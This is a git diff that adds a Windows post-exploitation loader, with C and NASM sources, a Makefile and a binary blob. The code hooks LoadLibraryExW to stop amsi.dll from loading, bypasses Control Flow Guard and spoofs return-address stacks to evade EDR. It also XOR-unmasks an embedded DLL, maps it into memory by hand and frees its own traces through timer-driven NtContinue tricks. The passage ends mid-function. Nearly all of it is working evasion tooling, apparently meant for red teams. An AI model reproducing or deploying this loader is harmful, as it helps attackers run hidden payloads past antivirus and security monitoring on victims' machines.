#pragma intrinsic(_ReturnAddress) #define WIN_GET_CALLER() _ReturnAddress() -#endif +#endif \ No newline at end of file diff --git a/postex-loader/Makefile b/postex-loader/Makefile new file mode 100644 index 0000000..a8098b0 --- /dev/null +++ b/postex-loader/Makefile @@ -0,0 +1,21 @@ +CC_64=x86_64-w64-mingw32-gcc +NASM=nasm + +all: bin/loader.x64.o + +bin: + mkdir bin + +bin/loader.x64.o: bin + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o + + $(NASM) src/draugr.asm -o bin/draugr.x64.bin + +clean: + rm -f bin/* diff --git a/postex-loader/bin/draugr.x64.bin b/postex-loader/bin/draugr.x64.bin new file mode 100644 index 0000000000000000000000000000000000000000..f26b2ae7fb7c6bf6ce4ae0655ff920529b5b3871 GIT binary patch literal 256 zcma#>?EK}~`PrkpMn%D+yF^99r!!o_r!zjnr!zglr!zmpr?b4kr?bAov-60r;ccJp z92En{eGE(t44%!$IDDAPEr8enh!s4W-zj)@KJsinWZ-M~-_`PUi4;(X!?W|bujY54 zD2L;JBgcMr&*sC7ukU#@z5$t$#o(cxZsF4%@8HuZqXJ|r0NFq%fY}B>b^wSCbRW<) z93GwV0v^4x0t^fc9-Z +#include "cfg.h" + +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); + +BOOL cfg_enabled ( ) +{ + EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; + + NTSTATUS status = 0; + + proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; + proc_info.ExtendedProcessInfoBuffer = 0; + + status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + return proc_info.ExtendedProcessInfoBuffer; +} + +BOOL bypass_cfg ( PVOID address ) +{ + MEMORY_BASIC_INFORMATION mbi = { 0 }; + VM_INFORMATION vmi = { 0 }; + MEMORY_RANGE_ENTRY mre = { 0 }; + CFG_CALL_TARGET_INFO cti = { 0 }; + + NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { + return FALSE; + } + + cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; + cti.Flags = CFG_CALL_TARGET_VALID; + + mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; + mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; + + ULONG output = 0; + + vmi.dwNumberOfOffsets = 0x1; + vmi.plOutput = &output; + vmi.ptOffsets = &cti; + vmi.pMustBeZero = 0x0; + vmi.pMoarZero = 0x0; + + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); + + if ( status == 0xC00000F4 ) + { + /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); + } + + if ( ! NT_SUCCESS ( status ) ) + { + /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ + if ( status == 0xC0000045 ) + { + /* pretend we bypassed it so timers can continue */ + return TRUE; + } + + return FALSE; + } + + return TRUE; +} diff --git a/postex-loader/src/cfg.h b/postex-loader/src/cfg.h new file mode 100644 index 0000000..155829a --- /dev/null +++ b/postex-loader/src/cfg.h @@ -0,0 +1,38 @@ +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + +BOOL cfg_enabled ( ); +BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/postex-loader/src/cleanup.c b/postex-loader/src/cleanup.c new file mode 100644 index 0000000..36d13cd --- /dev/null +++ b/postex-loader/src/cleanup.c @@ -0,0 +1,95 @@ +#include +#include "memory.h" +#include "cfg.h" +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); + +#define NTDLL_HASH 0x3CFA685D +#define VIRTUALFREE_HASH 0x30633AC + +void cleanup_memory ( MEMORY_LAYOUT * memory ) +{ + /* is cfg enabled? */ + BOOL enabled = cfg_enabled ( ); + + if ( enabled ) { + /* try to bypass it at NtContinue */ + if ( bypass_cfg ( NTDLL$NtContinue ) ) { + enabled = FALSE; + } + } + + /* + * just return if we + * failed to bypass it + */ + + if ( enabled ) { + return; + } + + /* + * crack on and setup a timer + * to free the memory regions + */ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; + + HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; + + if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) + { + /* give RtlCaptureContext a chance to run */ + KERNEL32$Sleep ( 100 ); + + if ( ctx.Rip != 0 ) + { + HANDLE heap = KERNEL32$GetProcessHeap ( ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); + + for ( int i = 0; i < 2; i++ ) { + memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); + } + + /* + * we use VirtualFree here because + * the loader uses VirtualAlloc + */ + + /* the dll */ + ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); + ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* this pico */ + ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); + ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + dprintf("dll @ 0x%p\n", memory->Dll.BaseAddress); + dprintf("pico @ 0x%p\n", memory->Pico.BaseAddress); + + /* give a decent delay so ExitThread has time to be called */ + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + } + } +} diff --git a/postex-loader/src/cleanup.h b/postex-loader/src/cleanup.h new file mode 100644 index 0000000..65c0861 --- /dev/null +++ b/postex-loader/src/cleanup.h @@ -0,0 +1 @@ +void cleanup_memory ( MEMORY_LAYOUT * memory ); diff --git a/postex-loader/src/draugr.asm b/postex-loader/src/draugr.asm new file mode 100644 index 0000000..a736300 --- /dev/null +++ b/postex-loader/src/draugr.asm @@ -0,0 +1,147 @@ +[BITS 64] + + draugr_stub: + pop rax ; Real return address in rax + + mov r10, rdi ; Store OG rdi in r10 + mov r11, rsi ; Store OG rsi in r11 + + mov rdi, [ rsp + 32 ] ; Storing struct in rdi + mov rsi, [ rsp + 40 ] ; Storing function to call + + ; --------------------------------------------------------------------- + ; Storing our original registers + ; --------------------------------------------------------------------- + + mov [ rdi + 24 ], r10 ; Storing OG rdi into param + mov [ rdi + 88 ], r11 ; Storing OG rsi into param + mov [ rdi + 96 ], r12 ; Storing OG r12 into param + mov [ rdi + 104 ], r13 ; Storing OG r13 into param + mov [ rdi + 112 ], r14 ; Storing OG r14 into param + mov [ rdi + 120 ], r15 ; Storing OG r15 into param + + mov r12, rax ; OG code used r12 for ret addr + + ; --------------------------------------------------------------------- + ; Prepping to move stack args + ; --------------------------------------------------------------------- + + xor r11, r11 ; r11 will hold the # of args that have been "pushed" + mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed + + mov r14, 0x200 ; r14 will hold the offset we need to push stuff + add r14, 8 + add r14, [ rdi + 56 ] ; stack size of RUTS + add r14, [ rdi + 48 ] ; stack size of BTIT + add r14, [ rdi + 32 ] ; stack size of our gadget frame + sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time + + mov r10, rsp + add r10, 0x30 ; offset of stack arg added to rsp + + looping: + xor r15, r15 ; r15 will hold the offset + rsp base + cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add + je finish + + ; --------------------------------------------------------------------- + ; Getting location to move the stack arg to + ; --------------------------------------------------------------------- + + sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. + mov r15, rsp ; get current stack base + sub r15, r14 ; subtract offset + + ; --------------------------------------------------------------------- + ; Procuring the stack arg + ; --------------------------------------------------------------------- + + add r10, 8 + + push qword [ r10 ] + pop qword [ r15 ] + + ; --------------------------------------------------------------------- + ; Increment the counter and loop back in case we need more args + ; --------------------------------------------------------------------- + add r11, 1 + jmp looping + + finish: + + ; ---------------------------------------------------------------------- + ; Creating a big 320 byte working space + ; ---------------------------------------------------------------------- + + sub rsp, 0x200 + + ; ---------------------------------------------------------------------- + ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. + ; Need to figure out why this cuts off the call stack + ; ---------------------------------------------------------------------- + + push 0 + + ; ---------------------------------------------------------------------- + ; RtlUserThreadStart + 0x14 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 56 ] + mov r11, [ rdi + 64 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; BaseThreadInitThunk + 0x21 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 32 ] + mov r11, [ rdi + 40 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Gadget frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 48 ] + mov r11, [ rdi + 80 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Adjusting the param struct for the fixup + ; ---------------------------------------------------------------------- + + mov r11, rsi ; Copying function to call into r11 + + mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member + mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member + lea rbx, [ rel fixup ] ; Fixup address is moved into rbx + mov [ rdi ], rbx ; Fixup member now holds the address of Fixup + mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx + + ; ---------------------------------------------------------------------- + ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made + ; ---------------------------------------------------------------------- + mov r10, rcx + mov rax, [ rdi + 72 ] + + jmp r11 + + fixup: + mov rcx, rbx + add rsp, 0x200 ; Big frame thing + add rsp, [ rbx + 48 ] ; Stack size + add rsp, [ rbx + 32 ] ; Stack size + add rsp, [ rbx + 56 ] ; Stack size + + mov rbx, [ rcx + 16 ] ; Restoring OG RBX + mov rdi, [ rcx + 24 ] ; ReStoring OG rdi + mov rsi, [ rcx + 88 ] ; ReStoring OG rsi + mov r12, [ rcx + 96 ] ; ReStoring OG r12 + mov r13, [ rcx + 104 ] ; ReStoring OG r13 + mov r14, [ rcx + 112 ] ; ReStoring OG r14 + mov r15, [ rcx + 120 ] ; ReStoring OG r15 + push rax + + xor rax, rax + pop rax + jmp QWORD [ rcx + 8 ] diff --git a/postex-loader/src/hash.h b/postex-loader/src/hash.h new file mode 100644 index 0000000..e007458 --- /dev/null +++ b/postex-loader/src/hash.h @@ -0,0 +1 @@ +#define LOADLIBRARYEXW_HASH 0x753A512 \ No newline at end of file diff --git a/postex-loader/src/hooks.c b/postex-loader/src/hooks.c new file mode 100644 index 0000000..572f646 --- /dev/null +++ b/postex-loader/src/hooks.c @@ -0,0 +1,210 @@ +#include +#include +#include +#include "tcg.h" +#include "spoof.h" +#include "hash.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR ); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD ); +DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * ); +DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t ); + +HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( LoadLibraryA ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + return ( HMODULE ) spoof_call ( &call ); +} + +HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags ) +{ + /* get the filename from path */ + LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' ); + LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' ); + LPCWSTR name = back > fwd ? back : fwd; + + if ( name ) { + name++; + } + else { + name = lpLibFileName; + } + + /* say no to amsi */ + if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) { + /* return without loading (─ ‿ ─) */ + return NULL; + } + + /* load the module */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + call.args [ 1 ] = spoof_arg ( hFile ); + call.args [ 2 ] = spoof_arg ( dwFlags ); + + /* hold the result */ + HMODULE module = ( HMODULE ) spoof_call ( &call ); + + /* check to see if it's mscoreei.dll or clr.dll */ + if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 ) + { + /* parse the module's headers */ + IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module; + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew ); + + /* get the import directory */ + IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); + + /* walk every imported module */ + while ( import_descriptor->Name != 0 ) + { + IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); + IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); + + /* walk every imported function */ + while ( original_first_thunk->u1.AddressOfData != 0 ) + { + IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); + DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); + + /* is the imported function LoadLibraryExW? */ + if ( func_hash == LOADLIBRARYEXW_HASH ) + { + /* yep, hook it */ + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) + { + first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); + KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect); + } + } + + ++original_first_thunk; + ++first_thunk; + } + + import_descriptor++; + } + } + + /* now return the module */ + return module; +} + +HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + HMODULE module = ( HMODULE ) spoof_call ( &call ); + + /* was this mscoree.dll? */ + if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 ) + { + /* parse the module's headers */ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew ); + + /* get the import directory */ + IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); + + /* walk every imported module */ + while ( import_descriptor->Name != 0 ) + { + IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); + IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); + + /* walk every imported function */ + while ( original_first_thunk->u1.AddressOfData != 0 ) + { + IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); + DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); + + /* is the imported function LoadLibraryExW? */ + if ( func_hash == LOADLIBRARYEXW_HASH ) + { + /* yep, hook it */ + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) + { + first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); + KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect ); + } + } + + ++original_first_thunk; + ++first_thunk; + } + + import_descriptor++; + } + } + + /* now return the module */ + return module; +} + +LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flAllocationType ); + call.args [ 3 ] = spoof_arg ( flProtect ); + + return ( LPVOID ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( dwFreeType ); + + return ( BOOL ) spoof_call ( &call ); +} + +BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( lpAddress ); + call.args [ 1 ] = spoof_arg ( dwSize ); + call.args [ 2 ] = spoof_arg ( flNewProtect ); + call.args [ 3 ] = spoof_arg ( lpflOldProtect ); + + return ( BOOL ) spoof_call ( &call ); +} diff --git a/postex-loader/src/loader.c b/postex-loader/src/loader.c new file mode 100644 index 0000000..eae112f --- /dev/null +++ b/postex-loader/src/loader.c @@ -0,0 +1,146 @@ +#include +#include "loader.h" +#include "tcg.h" +#include "memory.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) ); +char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) ); +char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) ); + +int __tag_setup_hooks ( ); +int __tag_setup_memory ( ); + +typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); +typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); + +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) +{ + DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = NULL; + void * section_dst = NULL; + DWORD section_size = 0; + DWORD new_protect = 0; + DWORD old_protect = 0; + + section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( int i = 0; i < section_count; i++ ) + { + section_dst = dst + section_hdr->VirtualAddress; + section_size = section_hdr->SizeOfRawData; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + /* set new permission */ + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + /* track memory */ + region->Sections[ i ].BaseAddress = section_dst; + region->Sections[ i ].Size = section_size; + region->Sections[ i ].CurrentProtect = new_protect; + region->Sections[ i ].PreviousProtect = new_protect; + + /* advance to section */ + section_hdr++; + } +} + +void go ( void * loader_arguments ) +{ + /* populate funcs */ + IMPORTFUNCS funcs; + funcs.LoadLibraryA = LoadLibraryA; + funcs.GetProcAddress = GetProcAddress; + + /* load the pico */ + char * pico_src = GETRESOURCE ( _PICO_ ); + + /* allocate memory for it */ + PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + /* load it into memory */ + PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); + + /* make code section RX */ + DWORD old_protect; + KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + + /* begin tracking memory allocations */ + MEMORY_LAYOUT memory = { 0 }; + + memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); + memory.Pico.Size = sizeof ( PICO ); + + memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); + memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); + memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; + memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; + memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); + memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); + memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; + memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; + + /* call setup_hooks to overwrite funcs.GetProcAddress */ + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); + + /* now load the dll (it's masked) */ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); + RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ ); + + /* load dll into memory and unmask it */ + char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + for ( int i = 0; i < masked_dll->len; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + + LoadDLL ( &dll_data, dll_src, dll_dst ); + + /* track dll's memory */ + memory.Dll.BaseAddress = ( PVOID ) ( dll_dst ); + memory.Dll.Size = SizeOfDLL ( &dll_data ); + + ProcessImports ( &funcs, &dll_data, dll_dst ); + fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); + + /* call setup_memory to give PICO the memory info */ + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); + + /* now run the DLL */ + DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); + + /* free the unmasked copy */ + KERNEL32$VirtualFree ( 